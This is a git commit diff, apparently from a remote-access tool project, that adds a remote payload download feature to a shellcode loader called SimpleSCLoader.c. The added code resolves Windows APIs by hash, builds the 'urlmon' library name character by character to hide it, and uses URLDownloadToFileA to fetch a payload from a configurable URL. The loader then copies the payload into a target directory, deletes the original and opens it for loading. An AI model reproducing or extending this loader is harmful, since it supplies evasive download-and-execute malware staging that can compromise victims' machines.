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Feature: Support download payload from http(s) server

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yuanyuanxiang
2026-01-17 23:10:01 +01:00
parent 1611ddd869
commit 13a09e8451
10 changed files with 9559 additions and 7 deletions
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17
client/SimpleSCLoader.c
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@@ -9,6 +9,7 @@ struct {
int offset;
char file[_MAX_PATH];
char targetDir[_MAX_PATH];
char downloadUrl[_MAX_PATH];
} sc = { "Hello, World!" };
#define Kernel32Lib_Hash 0x1cca9ce6
@@ -34,6 +35,9 @@ typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWO
#define SetFilePointer_Hash 1978850691
typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
#define IsFileExist_Hash 1123472280
typedef DWORD(WINAPI* _IsFileExist)(LPCSTR lpFileName);
#define CreateFileA_Hash 1470354217
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
@@ -50,6 +54,9 @@ typedef BOOL(WINAPI* _CopyFileA)(LPCSTR lpExistingFileName, LPCSTR lpNewFileName
#define CloseHandle_Hash 110641196
typedef BOOL(WINAPI* _CloseHandle)(HANDLE hObject);
#define Download_Hash 557506787
typedef HRESULT (WINAPI* _Download)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK);
typedef struct _UNICODE_STR {
USHORT Length;
USHORT MaximumLength;
@@ -257,6 +264,7 @@ int entry()
_DeleteFileA DeleteFileA = (_DeleteFileA)get_proc_address_from_hash(kernel32, DeleteFileA_Hash, GetProcAddress);
_CopyFileA CopyFileA = (_CopyFileA)get_proc_address_from_hash(kernel32, CopyFileA_Hash, GetProcAddress);
_CloseHandle CloseHandle = (_CloseHandle)get_proc_address_from_hash(kernel32, CloseHandle_Hash, GetProcAddress);
_IsFileExist IsFileExist = (_IsFileExist)get_proc_address_from_hash(kernel32, IsFileExist_Hash, GetProcAddress);
if (!sc.file[0]) GetModulePath(NULL, sc.file, MAX_PATH);
char* file = sc.file, dstFile[2 * MAX_PATH];
@@ -265,12 +273,17 @@ int entry()
GetModulePath(NULL, curExe, MAX_PATH);
while (*dir) *p++ = *dir++; *p++ = '\\';
while (*file) *p++ = *file++; *p = '\0';
char name[] = { 'u','r','l','m','o','n','\0' };
HMODULE urlmon = LoadLibraryA(name);
_Download URLDownloadToFileA = urlmon ? (_Download)get_proc_address_from_hash(urlmon, Download_Hash, GetProcAddress) : NULL;
if (sc.downloadUrl[0] && IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES && URLDownloadToFileA) {
if (FAILED(URLDownloadToFileA(NULL, sc.downloadUrl, dstFile, 0, NULL))) return(-1);
}
file = dstFile;
if (!strstr(curExe, sc.targetDir)) {
DeleteFileA(dstFile);
BOOL b = CopyFileA(sc.file, dstFile, FALSE);
DeleteFileA(sc.file);
if (!b) return(2);
if (IsFileExist(dstFile) == INVALID_FILE_ATTRIBUTES) return(2);
}
}
HANDLE hFile = CreateFileA(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);